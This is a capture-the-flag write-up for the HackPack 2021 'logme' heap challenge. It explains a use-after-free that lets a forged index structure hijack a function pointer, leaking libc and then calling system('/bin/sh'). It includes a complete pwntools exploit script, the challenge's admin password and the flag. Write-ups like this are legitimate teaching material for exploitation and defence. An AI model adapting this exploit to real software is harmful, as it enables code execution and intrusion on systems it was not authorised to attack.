HackPack CTF 2021 - logme

Categories: binex
by sera


A easy heap pwn challenge from HackPack 2021.


The challenge is a binary that implements a simple logging system. The binary does not have PIE.

The initial menu provides 3 options: logging in as admin, adding a log entry to a log index – there are none valid on start – and exit. We can get the admin credentials through simple reversing or everyone’s friend strings: administrator:S3CreTB4CkD0or.

A log entry just consists of a message with a chosen size. The message is allocated on the heap with given size, written to disk, and freed.

Once logged in, you can create or delete logging indexes (basically categories) and dump the contents of a log. The log indexes are implemented as files on disk, but this is not relevant to solving the challenge so I won’t go into further detail.

The number of valid indexes is stored in a local variable in main and the addressed of each index is stored in a global variable INDEXES. Indexes are allocated on the heap; and contain a size of 56. The name of each index is also seperately allocated on the heap with a larger size.

struct index {
    void* padding[4];
    char* name;
    void (*printer)(char* name, int index);

The log dump function is implemented by calling the printer virtual pointer on each index.

The bug

The vulnerability is that deleteIndex does not actually update the number of valid indexes despite freeing the index. This means that if we allocate a structure with the same size as a log index, it will overlap.

The function that lets a user add a log entry has a controllable allocation size; even though the message is freed after being written we can still use it to overwrite the old index’s data.


This bug can be exploited to call any function with with a controllable first argument. To create a UAF condition, we create two indexes and delete the 2nd. When inserting a message in the first, the tcache will reuse the old index’s chunk if the size matches;

We will first leak the address of libc by creating a fake index with a first argument pointing to puts on the GOT and a virtual pointer to puts in the PLT. This will call puts(addrof(puts)).

The use after free will be triggered just by calling dumpIndexes. We can then leverage this libc leak to call system(/bin/sh) using the same method as before.

Addendum: I could not get one_gadget to work because the stack is not 16-byte aligned.

flag: flag{B4k3d_1N_PwD_1S_N3v3R_4_Go0D_1D3A}


from pwn import *
import random
import string
import sys

r = remote("ctf2021.hackpack.club", 11002)
elf = ELF("./logme")

def admin_login():
    r.sendlineafter("> ", "1")
    r.sendlineafter(": ", "administrator")
    r.sendlineafter(": ", "S3CreTB4CkD0or")

def create_fake_index(fn, arg):
    r.sendlineafter("> ", "2")
    r.sendlineafter(": ", "0")
    r.sendlineafter(": ", "56")
    r.sendlineafter(": ", b"deadbeefbeefcafedeadbeefbeefcafedeadbeef" + p64(arg) + p64(fn))


# Create 2 indexes, free 2nd
r.sendlineafter("> ", "1")
r.sendlineafter(": ", ''.join(random.choices(string.ascii_uppercase + string.digits, k=4)))
r.sendlineafter("> ", "1")
r.sendlineafter(": ", ''.join(random.choices(string.ascii_uppercase + string.digits, k=4)))
r.sendlineafter("> ", "2")
r.sendlineafter(": ", "1")

# Log out
r.sendlineafter("> ", "4")

# Create message
create_fake_index(elf.plt['puts'], elf.got['puts'])

# Trigger uaf

r.sendlineafter("> ", "3")
r.sendlineafter(": ", "1")
leak = u64(r.recvuntil("> ").split(b"\n")[0].ljust(8, b"\x00"))
leak -= 0x080aa0
log.info("libc @ 0x%x" % leak)

create_fake_index(leak + 0x04f550, leak + 0x1b3e1a)

# Trigger uaf

r.sendlineafter("> ", "3")
r.sendlineafter(": ", "1")